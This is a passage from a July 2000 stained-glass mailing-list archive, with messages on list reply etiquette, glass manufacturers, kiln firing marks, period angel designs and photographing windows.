Sometimes things are more balanced.

Thats life, and thats the way it goes.
When one is dealing with human beings,
things happen in that way.  If you don't
want to deal with human beings,
then don't get on a mailing list.

So ... whassamadda Howard ...
can't figure out where the
delete button is?

Regards .... Bob



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From owner-glass Fri Jul  7 15:47:41 2000
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X-Path: OREGON.UOREGON.EDU!soleim
From: Sherrie Soleim <soleim@OREGON.UOREGON.EDU>
To: Bungi <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: posting replies to the list; Was: getting old
Date: Fri, 07 Jul 2000 13:20:31 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@daver.bungi.com>>
Organization: oregon.uoregon.edu
Precedence: bulk

I have to agree with you too Shari.  I remember when I joined the list was set to have
replies go directly to the list, but there was a flame war burning full force (amazes me
the childishness of some so-called adults) and to help bring it to an end Glenna changed
the settings to have replies to messages default to the sender rather then the list in
general.

Perhaps since this flame war is long over we could convince Glenna to switch it back?  I
too am here to learn from all the experts on the list and could benefit a great deal from
replies to questions.  Some people are good about sending their answers to the list, but
others don't so many of us miss out on their wisdom.

Sherrie

Shari wrote:

> Sorry but I disagree. There doesn't seem to be any value in having a glass
> list where all you read are the questions. I figure I can always learn some
> new tricks and pick up a neat new tip here and there, but that is impossible
> when the replies are sent to the questioner only.
>
> If this list is meant to post just questions, then maybe it should be a
> bulletin board instead of a list. I've been very sorry to see the list take
> this direction over the past several months--it really has lost almost all
> its value, in my opinion. We've certainly cut out any non-glass chatter, but
> have also cut out all glass-related info.
>
> If anyone cared or wondered what my vote would be, I'd vote to change it
> back to all replies go to the list. JMHO...
>
> Shari in SLC
>
> > It is good to get information on why and how and so forth,
> >
> > BUT..............It would be EVEN better if the posts were directed to
> those
> > who have had trouble or are interested, rather than the list as a whole!
> We
> > have discussed (in great depth) about directing the posts to specific
> users.
> >

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From owner-glass Fri Jul  7 16:00:47 2000
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From: rrk <ezbongo2@pacbell.net>
To: "D. ONeal" <Moya-Don@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Made in China
Date: Fri, 07 Jul 2000 14:13:27 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta3.snfc21.pbi.net>>
Precedence: bulk



"D. ONeal" wrote:

> Bob,
>     I have recently been to the new Armstrong factory in Jasper, Ga.  They
> make their glass right there on premises.  Is it possible that the crates
> were made in China?  I  spent the better part of a day watching their whole
> operation.  It is fascinating, albeit hot work.  They plop the molten glass
> onto a flat trolley, mix the colors they want and it is annealed quickly on
> a conveyer belt.  It is then inspected and cut into sheets and cured.  Then
> it is taken to the warehouse and crated.
>     I would say that judging by their production schedule, they do not need
> to do any importing to meet demand.
>     This is all very interesting though.

Hi Moya,

I don't know much about Armstrong
or Chicago or Spectrum or ... any of
the others except Oceana who is effectively
just down the street from me.

All I know is what I saw.

I didn't make a project out of it.

Wasn't particularly surprised about it
but I would be surprised if someone or
some company was not making sg in
mainland China.  Every other item
requiring low tech processes and
primarily labor intensive grunt work
is made there, why not stained glass?

Anyway ...

Regards .... Bob





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From: rrk <ezbongo2@pacbell.net>
To: Glenna Rand <gjr@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Aloha
Date: Fri, 07 Jul 2000 14:04:16 -0700
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Glenna Rand wrote:

> Aloha all Bungians,
>
> This glass list is now officially brought to you from Maui, HI.
> The move has been successful but I'm still awaiting the container
> which is filled with my glass supplies.
> Hope you are all having a great summer!

Hi Glenna,

Sounds like you're having a tough time of it. <G>

Have fun ... regards .. Bob




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From owner-glass Fri Jul  7 16:30:55 2000
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From: rrk <ezbongo2@pacbell.net>
To: Candy <candy@ghostman.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Mosaics & Suncatchers
Date: Fri, 07 Jul 2000 15:05:26 -0700
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References: <<200007041859.MAA15034@mantis.privatei.com>>
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Candy wrote:

> But Bob,
>
> I've been to Atlanta and seen them making the Armstrong Glass... it's cheap because
> they anneal it for only 20 min... and prob use cheapest cullet, etc.
>
> I'm not saying you didn't see crates from China.. but I know they've been imitating
> Armstrong cuz it's easier to imitate.. and they've started imitating some of the big
> companies now, too..

Hi Candy,

See my response to one of the others on this subject (no time to write the same thing)

I do not think that only the crates were from China, it appeared that the product was from
China.  Who knows?  I do know what I saw.

Regards ... Bob



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From owner-glass Fri Jul  7 16:30:55 2000
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From: rrk <ezbongo2@pacbell.net>
To: Peggy L Kinnetz <pkinnetz@juno.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Blank Emails
Date: Fri, 07 Jul 2000 14:08:20 -0700
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Peggy L Kinnetz wrote:

> ok, I looked for "view source" but didn't find anything even remotely
> similar. Where do I look? there are several categories to choose from.  I
> have Juno email.

Hi Peggy,

In NETSCAPE, choose the VIEW menu, there you will see PAGE SOURCE as one of
the options.

BTW, the ISP one uses (Juno in your case) is irrelevant, the email client
(program) is what we're talking about.

Regards ..... Bob




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From owner-glass Fri Jul  7 16:41:44 2000
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X-Path: n-link.com!pkelly
From: "patkel" <pkelly@n-link.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: NG.. Lurking
Date: Fri, 7 Jul 2000 18:48:15 -0700
Message-ID: <1970Jan1.000.0>
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Be afraid..... be very afraid.... I am here ... lurking. Waiting to pounce
on that Brit with those slobbering mops she calls dogs. The glass tutu is
being repaired as we speak. The bald head is being polished.

LOL... I am still here... you can never get rid of me....

Patrick
Roses and Rainbows

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From owner-glass Fri Jul  7 18:00:46 2000
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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Howard
Date: Fri, 7 Jul 2000 18:36:53 -0400
Message-ID: <1970Jan1.000.0>
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Howard,
    I really disagree on this one.  There have been so many times that I
have learned a method, trick or fact from you that was gleaned in messages
you have posted to someone.
    You are one of the finest experts on the list and we love learning from
you.  It is rather like Col. Sanders:  You do lamps right!  We like
learning, so please don't stop teaching us.
    Perhaps we can devise a system whereby we use the Subject line to say
"Answer for Howard" or "Answer for Howard on finding lamp caps."  This way
if you do not want to read the posting, you can use that delete key instead.
    Does any one have a good method we can use to delineate which messages
we want to read and which we do not want to read?  (Please post answers to
the list.)
    Thanks for listening (if you didn't hit the delete key.)
Moya

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From owner-glass Fri Jul  7 18:12:25 2000
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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Egyptian Art
Date: Fri, 7 Jul 2000 18:01:30 -0400
Message-ID: <1970Jan1.000.0>
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Steve,
Here is the URL for the British Museum.  I looked and couldn't find the area
you mentioned.   I suppose one could do a search of "stained glass Egyptian
Art" and perhaps come up with some interesting stuff.
Thanks for replying to the group about this.  I looked up the URL and found
lots of stuff to look at.  It was great.
Moya
http://www.thebritishmuseum.ac.uk/sitemap/sitemap.html

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From owner-glass Fri Jul  7 18:34:32 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "patkel" <pkelly@n-link.com>,
Subject: Re: NG.. Lurking
Date: Fri, 7 Jul 2000 21:08:05 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Patrick,
Eljay is lurking also.
Linda Jo :-)
-----Original Message-----
From: patkel <pkelly@n-link.com>
To: glass@bungi.com <glass@bungi.com>
Date: Friday, July 07, 2000 7:46 PM
Subject: NG.. Lurking


>Be afraid..... be very afraid.... I am here ... lurking. Waiting to pounce
>on that Brit with those slobbering mops she calls dogs. The glass tutu is
>being repaired as we speak. The bald head is being polished.
>
>LOL... I am still here... you can never get rid of me....
>
>Patrick
>Roses and Rainbows
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Fri Jul  7 18:44:23 2000
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X-Path: aol.com!Awbaxter
From: Awbaxter@aol.com
To: Moya-Don@worldnet.att.net, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Howard
Date: Fri, 7 Jul 2000 21:32:17 EDT
Message-ID: <1970Jan1.000.0>
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Hello, Moya..
That's what the "NG" in the subject line is for:  "Non Glass".  If everyone 
used it, the subjects could be sorted easily.

I did not add "NG", so I will address this Glass Question to Howard:
Thanks for the jewels!  I've never bought jewels by the sheet before!  Just a 
bit surprised when I opened the box.  I will assume (although that could be 
dangerous) that these cut from the back?  Anything special I should know 
before I cut up those TINY dragonfly eyes??

ALSO, would love your opinion... I am going to start my first Odyssey lamp, 
and am now picking out glass for the 16" Dragonfly.  (I will hold off on that 
Wisteria for when I have nothing but time on my hands....)  What are your 
preferences for glass for the background (manufacturers/colors)?  I know that 
Uroboros has a list of recommendations... do any others?  

Too bad we were never able to get an "on-line bungi group" class organized.  
Maybe someday.  Thanks for your input.
Ann
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From owner-glass Fri Jul  7 19:02:04 2000
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From: Awbaxter@aol.com
To: s.richard@verrier-scotland.demon.co.uk
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: glass after firing
Date: Fri, 7 Jul 2000 21:44:45 EDT
Message-ID: <1970Jan1.000.0>
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In a message dated 7/7/00 3:58:33 PM Eastern Daylight Time, 
s.richard@verrier-scotland.demon.co.uk writes:

<< Yes, repeated firings at a slightly high temperature leads to the picking 
up of marks from the kiln shelf.  If these are not cleaned out really well, 
there is a residue left that attracts marks.  Even if cleaned out really 
well, the pits will be difficult to clean of the linseed oil markings.  The 
firings do not cause any changes in the hardness or structure of the glass, 
as the glass remains chemically the same. 
 Steve   >>

That is EXACTLY what happened, Steve, and the only thing different from other 
painted and fired pieces was that the wash on the kiln shelf was old and just 
starting to flake. I should have cleaned it off and reapplied, but I was in a 
hurry to finish the job, and fired the pieces on it anyways.  The stain from 
the putty was apparent only on the back side of the glass, and it fired hot 
enough for a shiny, hard finish, which is why I was so surprised when it 
happened.  It took some work, but I was able to clean it, although the panic 
level it took me to caused a few more gray hairs... I was imagining months of 
work and mulitple firings all down the drain!   Thanks for your response.
Ann 
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From owner-glass Fri Jul  7 19:12:52 2000
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From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
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Subject: Re: NG.. hehehe
Date: Fri, 07 Jul 2000 21:51:08 -0400
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>Be afraid..... be very afraid.... etc...
lol

first chuckle I've had on this list in way too long...I also would like the
answers to come to the list and if off topic, just follow the guideline of
putting NG in the header.  
I like the option of reading or not, at my interest level.

what is selling now at the shows?  are fairies in or out, butterflies?
what should we concentrate on for the fall...I'm doing my first show in a
couple years and feel quite out of touch with the public interests.
Dee


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From owner-glass Fri Jul  7 20:20:04 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: [Fwd: Made in China]
Date: Fri, 07 Jul 2000 22:56:51 -0400
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studios
Precedence: bulk

Meant to send to the group but forgot - again - and sent it only to rrk. - Cec

Cecily and Ralph Wood wrote:

> Maybe you were seeing pirated glass, but you wouldn't expect Houston to buy
> pirated glass.  And if a reputable glass firm from wherever in the world was
> outsourcing/offshoring their glass production, wouldn't you expect them to
> specify standards and processes so that the glass, tho cheaper because of labor,
> would be the same quality the company had made its reputation on?
>
> I've only visited 2 glass factories - Kokomo and Youghiogeny, and they are
> really small operations even though they supply glass worldwide.  I'd be
> surprised if either had more than 25 to 30 employees.  Is there a union their
> staffs belong to?  Obviously they have to pay reasonable US wages, though each
> is in a rather depressed area.  I thought Kokomo said the majority of its cost
> was in the gas for firing the furnaces.  I'd also expect that a large part of
> the costs are in transportation.  After all it is HEAVY and FRAGILE and probably
> not easy to ship.  I wonder what difference it makes if you make it here and
> ship worldwide, or if you make it there and import it here.
>
> rrk wrote:
>
> > "D. ONeal" wrote:
> >
> > > Bob,
> > >     I have recently been to the new Armstrong factory in Jasper, Ga.  They
> > > make their glass right there on premises.  Is it possible that the crates
> > > were made in China?  I  spent the better part of a day watching their whole
> > > operation.  It is fascinating, albeit hot work.  They plop the molten glass
> > > onto a flat trolley, mix the colors they want and it is annealed quickly on
> > > a conveyer belt.  It is then inspected and cut into sheets and cured.  Then
> > > it is taken to the warehouse and crated.
> > >     I would say that judging by their production schedule, they do not need
> > > to do any importing to meet demand.
> > >     This is all very interesting though.
> >
> > Hi Moya,
> >
> > I don't know much about Armstrong
> > or Chicago or Spectrum or ... any of
> > the others except Oceana who is effectively
> > just down the street from me.
> >
> > All I know is what I saw.
> >
> > I didn't make a project out of it.
> >
> > Wasn't particularly surprised about it
> > but I would be surprised if someone or
> > some company was not making sg in
> > mainland China.  Every other item
> > requiring low tech processes and
> > primarily labor intensive grunt work
> > is made there, why not stained glass?
> >
> > Anyway ...
> >
> > Regards .... Bob
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Fri Jul  7 21:01:34 2000
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From: Linda Carmichael <sigoma@oanet.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Another Lurker
Date: Sun, 09 Jul 2000 08:06:31 -0700
Message-ID: <1970Jan1.000.0>
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Evening All;  I too, am a lurker and I enjoy all of the information that
comes across my computer, although some of it does not tweak my
interest, I find it annoying if a question is asked and yet I remain
ignorant of the answer.  My mentor is a 30 year veteran and I learn so
much from this list.  A lot are things I have never asked, or had not
yet thought to ask him.  Every now and then I surprise him by knowing
more than he thought I did.  I credit that to this list.  I certainly
appreciate all in information I have received and hope that one day I
can contribute to others a qualified opinion.  Thank you all.    Linda

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From owner-glass Fri Jul  7 22:30:37 2000
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From: CncptThnkr@aol.com
To: Glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: NG an opinion on (non)relevant posts and thread changes
Date: Sat, 8 Jul 2000 00:47:12 EDT
Message-ID: <1970Jan1.000.0>
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Hello all, first off, hope everyone's having a great summer and getting lots 
of glass work done....hopefully soon I'll join you in accomplishing 
something.  <g>

Second, I have always thought NG worked great, always happy to use it, but 
where I come across a problem is people who don't change the subject line 
when they are starting a new thread.  It doesn't help to use the delete key 
if the subject in the body of the e mail doesn't match the subject in the 
heading.  I've wanted to delete all the e mail about blank e mail but in the 
past I've missed the beginning of some interesting threads because they were 
buried in with things I didn't want to read.  

My request is you not only use NG when it is "non glass" but also remember to 
change the subject line if you are responding to a post and also starting a 
new thread, sending more than one e mail, each one responding to a different 
thread, is helpful.....I have appreciated those of you who have taken the 
time to do so in the past.  

I am spellcheckerless today, please excuse any errors and btw I don't get 
blank e mail but I do get some with shocking red backgrounds!!!

ia



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From owner-glass Sat Jul  8 03:30:39 2000
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From: James Garner <officerjqg@go.com>
To: glass@bungi.com
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Subject: Oceana ?
Date: Sat, 08 Jul 2000 03:02:29 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
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What is Oceana glass, I have never heard of it.


___________________________________________________
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From owner-glass Sat Jul  8 06:30:41 2000
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From: mschatee@juno.com
To: glass@bungi.com
Subject: Re: posting replies to the list
Date: Sat, 08 Jul 2000 09:18:17 EDT
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>>
Precedence: bulk

I'm with the others,  I like reading all the STUFF and banter, etc.  I do
skip over a lot that doesn't interest me but that is why I have a delete
key.  I too don't make a lot of contributions but I love reading about
what everyone is doing and keeping tabs on people.  So what ever did
happen to the glass Tutu?  And all the bios, those were fun too.  And I
am glad to hear that Meric is growing and healthy.

So please everyone, keep doing what you are all doing and if you aren't
interested in a letter, skip over it and move on to the next one.

Caren

________________________________________________________________
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From owner-glass Sat Jul  8 06:44:41 2000
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X-Path: sympatico.ca!tandg.higson
From: Gillian Higson <tandg.higson@sympatico.ca>
To: Family Account <shad@mail2.nai.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Colonial angels
Date: Sat, 08 Jul 2000 09:21:58 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@l.pop50.bellglobal.com>>
Precedence: bulk

Hi
A lot of the English head stones and mortuary monuments(what a mouthful)
have angels and cherubim on them , and they also have dates on them .  So
you would be able to date the style exactly.
  Here in Canada, I noticed that a lot of the headstones have the same style
and kind of artwork and fonts as on English stones.  So perhaps if you could
get books on English arts, you might be able to get some info on the styles
they used in the 1700s
Regards
Gillian

Family Account wrote:

> I have been asked to design an angel for a 1750's colonial.  I'd like to
> do something sort of in period...but, you know, no images come to mind.
> When I think of 1750's churches in New England, I don't see angels, but
> open spaces with plain windows and steeples...no angels.  Gravestones
> have this stylized death's head on them.  I've been to our small library
> to do some research but to no avail (lots of pictures of those plain but
> lovely churches, though).  Anyone have any thoughts?  There is, of
> course, the art of Europe from that period.  And I am trying to reach
> the lady who wants this to pick her brain a bit more.
>
> Meanwhile, I've been designing and making suncatchers to get ahead for
> the fall.  And I have some gifts to make, while I have the time.  (I did
> a design of my niece's kitten, for example).
>
> Dorothy
>
> ----
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> Archives available at http://www.bungi.com/glass

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From owner-glass Sat Jul  8 08:01:01 2000
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: "INTERNET:Prstucki@aol.com" <Prstucki@aol.com>, Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: IGGA%20inquiry
Date: Sat, 8 Jul 2000 10:43:55 -0400
Message-ID: <1970Jan1.000.0>
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Message text written by INTERNET:Prstucki@aol.com
>I am trying to locate several glass artists and can't seem to find them.=
  =

They are Odell Glass (I think in Ohio), Jennifer Violette (Philadelphia?)=

and =

Yavo Greenberg (The spelling of the first name is a guess).  Can you give=

me =

any guidance about where to go from here?  I certainly appreciate your
help.<

Odell Glass - Sorry, but I don't have a listing for them.  Nither for
Jennifer Violette
or Yavo Greenberg.  I will pass along this request for information to the=

online
glass artists and see if we can help you out through them.

Bungians -  Anyone have any contact information on these folk?  Please
send the info to Prstucki@aol.com.  Thanks.

Christie A. Wood - IGGA Exec. Director
North Wales, PA USA
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From owner-glass Sat Jul  8 08:17:56 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Oceana ?
Date: Sat, 8 Jul 2000 10:44:06 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by James Garner
>What is Oceana glass, I have never heard of it.<

Oceana Glass is beautiful hand-made opaque glass, similar in
style/structure to Bullseye.
Oceana Glass Company
359 Coral Street, Santa Cruz, CA 95060
phone: (831) 423-4988   fax: (831) 423-9593

Christie A. Wood
North Wales, PA USA
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From owner-glass Sat Jul  8 08:29:45 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Colonial angels
Date: Sat, 8 Jul 2000 10:44:02 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by Family Account
>I have been asked to design an angel for a 1750's colonial.  I'd like to=

do something sort of in period...but, you know, no images come to mind.
When I think of 1750's churches in New England, I don't see angels, but
open spaces with plain windows and steeples...no angels.  Gravestones
have this stylized death's head on them.  I've been to our small library
to do some research but to no avail (lots of pictures of those plain but
lovely churches, though).  Anyone have any thoughts?  There is, of
course, the art of Europe from that period.  And I am trying to reach
the lady who wants this to pick her brain a bit more.<

A great source of inspiration for period Colonial designs can be found
in the stitchery of the times.  It's generally rather primative and flat
and lends itself well to stained glass design as suncatchers.  Take
a look in some of the embrodery & stitchery books.  One that comes
to mind is a design I saw on (believe it or not) "The Antiques Roadshow"
on PBS.  A stitchery design from the 1700's Pennsylvania.  Had an
angel on it.

Christie A. Wood
North Wales, PA USA
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From owner-glass Sat Jul  8 08:33:20 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: posting replies to the list; Was: getting old
Date: Sat, 8 Jul 2000 10:43:53 -0400
Message-ID: <1970Jan1.000.0>
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Message text written by Ken & Geneva Pepper
>What ever happened to Patrick and his glass tutu?
What about Elizabeth from the UK and her side-kick Toby? LOLOLOL
Is the witch doctor gone as well??  There were many others..... The
great glass info these memorable and often humorous characters imparted
(as well as the spontaneous side trips into OT) was priceless.  =

Spontenaiety
was the key word and deed - Rigidity will stifle ANYTHING!<

Can't say for Patrick & his famous (infamous) glass tutu.  Perhaps he got=

lost in
the expanse of the Atlantic.  Elisabeth & Toby are still here.  As for th=
e
witch doctor,
she's no longer working for me, and she's not replying to any of my email=
s
or to
emails from IGGA board members either.  So I suspect she's ?dropped out?
of glass work ?temporarily?, much to our loss.

Christie A. Wood
North Wales, PA USA
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From owner-glass Sat Jul  8 08:34:09 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Help in locating info on some windows
Date: Sat, 8 Jul 2000 10:44:00 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Gang - another request for help in locating information about some staine=
d glass
windows.  If you have any info, please reply directly to the Rev. Thomas =
Zuhlke at
tzuhlke@westriv.com.  Thanks.

Christie A. Wood - IGGA Exec. Director
North Wales, PA USA
-------------Forwarded Message-----------------
From:	"Thomas Zuhlke", INTERNET:tzuhlke@westriv.com
To:	[unknown], ensembles
Date:	07/07/2000  2:02 PM
RE:	IGGA inquiry
 =

Dear Sirs,

We are seeking help in finding the source,
manufacturer and artists of six stained glass windows.
This information is for our National Register of Historic
Places Application, which will become a public document.
Your assistance will be noted in the application.

The pictures are of the Four Evangelists and Jesus
Knocking at the Door and Jesus the Good Shepherd.

If you would be interested in assisting us, we can
e-mail the pictures to you.
Thank you ever so much!

Shalom
The Rev. Thomas A. Zuhlke
St. John Church, Hebron, North Dakota
P O Box 102
Hebron, North Dakota 58638
Tel. (701) 878-4011


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From owner-glass Sat Jul  8 09:57:07 2000
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Content-Type: text/plain;
Subject: What's selling
Date: Sat, 8 Jul 2000 10:44:04 -0400
Message-ID: <1970Jan1.000.0>
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Message text written by Dee Thompson
>what is selling now at the shows?  are fairies in or out, butterflies?
what should we concentrate on for the fall...I'm doing my first show in a=

couple years and feel quite out of touch with the public interests.<

Goldfish mosaics in my birdbaths!  Can't keep 'em in stock.
Bevels are making a comeback too.

Christie A. Wood
North Wales, PA USA
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From owner-glass Sat Jul  8 10:30:31 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: "D. ONeal" <Moya-Don@worldnet.att.net>
Subject: Re: Egyptian Art
Date: Sat, 8 Jul 2000 17:34:21 +0100
Message-ID: <1970Jan1.000.0>
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Moya,
        I would be astounded if  you found anything about Egyptian
stained glass in the British Museum, as they concentrate on the imperial
period, not the modern period.  The book I mentioned takes designs from
the exhibits and reproduces them.  You then need to further adapt them
for stained glass.
        I'm glad you found the site and that it proves useful.

Steve

In message <1970Jan1.000.0@?>, D. ONeal <Moya-Don@worldnet.att.net>
writes
>Steve,
>Here is the URL for the British Museum.  I looked and couldn't find the area
>you mentioned.   I suppose one could do a search of "stained glass Egyptian
>Art" and perhaps come up with some interesting stuff.
>Thanks for replying to the group about this.  I looked up the URL and found
>lots of stuff to look at.  It was great.
>Moya
>http://www.thebritishmuseum.ac.uk/sitemap/sitemap.html
>
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Sat Jul  8 10:44:13 2000
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X-Path: pacifier.com!ptap
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Bloomington Artist Needed
Date: Sat, 08 Jul 2000 07:27:32 -0700
Message-ID: <1970Jan1.000.0>
Organization: Stained Glass Artists
Precedence: bulk

Hi all,

I've searched the SGA database and the igga database....anybody out
there located near Bloomington Indiana?? There isn't even anyone in the
Sourcebook who is located there unless I missed them.

Small job: Two french doors,  very simple design in both.

Email me today if you are interested in the job.

Thanks,

Pam

p.s. I thought I smelled Swedish blood again on bungi :) Hi E! Hi
Patrick!



--

Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com
A Division of: Moswood Mountain Ltd.
http://moswoodmountainltd.com


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From owner-glass Sat Jul  8 11:32:46 2000
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X-Path: sol.racsa.co.cr!rlaval
From: "RICHARD K. LAVAL" <rlaval@sol.racsa.co.cr>
To: "Bev Kelly" <till8er@alimac.com>, glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: Re: Photographing windows
Date: Fri, 07 Jul 2000 16:58:55 -0500
Message-ID: <4.3.2.7.0.20000707165056.00aa6970@127.0.0.1>
References: <<200007031443.IAA00681@mantis.privatei.com>>
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Hi,
         I too have been too busy, and less interested (although I hadn't 
stopped to analyze why).    Sorry....  anyway, we have a Sony Mavica 
digital  camera.... it uses a diskette, a definite advantage!  Although i 
still don't get great pictures of my glass, all the time, I don't think it 
is related to the camera ,l just the problems inherent in photographing 
stained glass (except in really dark places... not good at that)  I love my 
camera otherwise.  Also use it to do a lot of photo sketching outside, as 
most of my commissions are realistic natural stuff.  animals and 
plants.  Soon you will be able to see some at stellasbakery. com  it is 
still under construction right now.  Will let you know.       Any 
questions, fire away.... directly to me as i get behind with bungi.  Meg

At 09:07 PM 05/07/2000 -0700, you wrote:
>I too, am looking at digital camara,,,,,please enlighten me with any
>information.
>
>Thanks
>
>Bev
>-----
>
>
>----- Original Message -----
>From: Candy <candy@ghostman.com>
>To: <glass@bungi.com>
>Sent: Monday, July 03, 2000 8:40 AM
>Subject: Re: Photographing windows
>
>
> > Albert,
> > I'm in the process of buying a digital camera. I've always preferred
>Ricoh, but am not
> > _quite_ pleased with bang for my buck..
> >
> > what kind of digital camera do you have? If you could do it again, (this
>of course being
> > much later, when cameras are cheaper and come with more functions), which
>kind
> > would you buy? (give model number please...)
> >
> > Candy
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> >
>
>----
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Richard and Meg LaVal
Apdo. 24-5655
Monteverde
COSTA RICA
phones 645 5052 and 645 5419

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From owner-glass Sat Jul  8 11:38:02 2000
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X-Path: thevortex.com!boyd
From: "boyd" <boyd@thevortex.com>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: Re:NG an opinion on (non)relevant posts and thread changes
Date: Sat, 8 Jul 2000 13:01:10 -0500
Message-ID: <1970Jan1.000.0>
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greetings, everyone!

although i generally just lurk and soak up the wonderful
tips/ideas/thoughts here, i'd like to second ia's suggestion here to use
"NG" and to change the subject headings on new posts to reflect the content
of the message. 

being a veteran of many *many* mailing lists and newsgroups, i've found it
pretty standard practice around the net and usenet to use some sort of "Off
Topic" tag on messages (on most of my other lists, it's usually 'OT') that
don't directly pertain to the primary list topic. 

it's really not a huge deal to hit the "Delete" button if i'm not
interested in a particular thread, and sometimes, the off topic posts can
be very interesting and informative! altering the subject heading to
indicate the new subject helps me decide what to delete and what not to.

anyway, thanks all!

--boyd (back to lurking and soaking up the wonderful stained glass
information!)


_____________________________________________
Free email with personality! Over 200 domains!
http://www.MyOwnEmail.com

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From owner-glass Sat Jul  8 12:34:45 2000
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From: Steve Wernecke <steve@villagesoftsmith.com>
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Subject: Re: Oceana ?
Date: Sat, 08 Jul 2000 08:02:52 -0700
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References: <<1970Jan1.000.0>>
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It's a small glass manufacturer in Santa Cruz, California.

At 03:02 AM 7/8/00, James Garner wrote:
>What is Oceana glass, I have never heard of it.
>
>
>___________________________________________________
>GO Network Mail
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>
>
>----
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From owner-glass Sat Jul  8 14:06:33 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: Egyptian Art
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Sat, 8 Jul 2000 16:02:02 +0000
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>         I would be astounded if  you found anything about Egyptian
> stained glass in the British Museum, as they concentrate on the
> imperial period, not the modern period. 

Not to mention that the Egyptians didn't *do stained glass! <grin> 
Sand-core vessels? Yes. Stained glass? No. It wasn't "invented" until 
several centuries later.

My 1c worth.


Albert
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From owner-glass Sat Jul  8 17:30:44 2000
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X-Path: pop3.nildram.co.uk!glass
From: "Toby" <toby@northlights.co.uk>
To: Bungi <glass@bungi.com>, "Christie A. Wood" <Ensembles@compuserve.com>
Content-Type: text/plain; charset=US-ASCII
Subject: Re: posting replies to the list; Was: getting old
Date: Sun, 9 Jul 2000 00:12:11 +0100
Message-ID: <200007082229.e68MT2a21813@mercury.nildram.co.uk>
Precedence: bulk

Thank you Christie,

The Witch Doctor is reputedly coming to UK in August for a 
concert tour and I am hoping we will meet up - as in deed we did a 
year or so ago. I sort of gathered she wasn't working with you 
anymore.... but I won't delve. I too have notice the absence of 
responses on IGGA matters.

We all go through phases in life, occasionally one needs to step 
back to take stock. That is the experience I have myself with my 
closest, dearest friends from almost 35-40 years standing. Now 
and then,there is a silence.... it may last 6 months, maybe 12, 
maybe even 18. You can't explain it, you can't push.... it's just 
there. And then; all of a sudden there's a WHOOOOSH and 
everything is resumed as if only a day has passed.
I have frequently been on the receiving end.

Right now, I now find myself being the perpetrator. There are so 
many of you I want to reach out to and hold hands with. We did 
just that, face to face, hand in hand, sharing bits of glass, glass 
cutting and loads of problems;  certainly sharing a day, a week,  a 
